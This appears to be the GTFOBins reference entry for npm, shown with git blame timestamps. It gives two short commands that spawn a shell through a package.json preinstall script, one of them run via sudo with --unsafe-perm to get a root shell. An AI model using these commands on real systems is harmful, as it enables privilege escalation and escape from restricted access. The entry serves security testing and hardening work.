GTFOBins.github.io/_gtfobins/npm.md

14 lines
319 B
Markdown
Raw Normal View History

2021-01-19 19:22:33 +01:00
---
functions:
shell:
2021-01-21 15:04:27 +01:00
- code: |
TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
npm -C $TF i
2021-01-19 19:22:33 +01:00
sudo:
2021-01-21 15:04:27 +01:00
- code: |
TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
sudo npm -C $TF --unsafe-perm i
2021-01-19 19:22:33 +01:00
---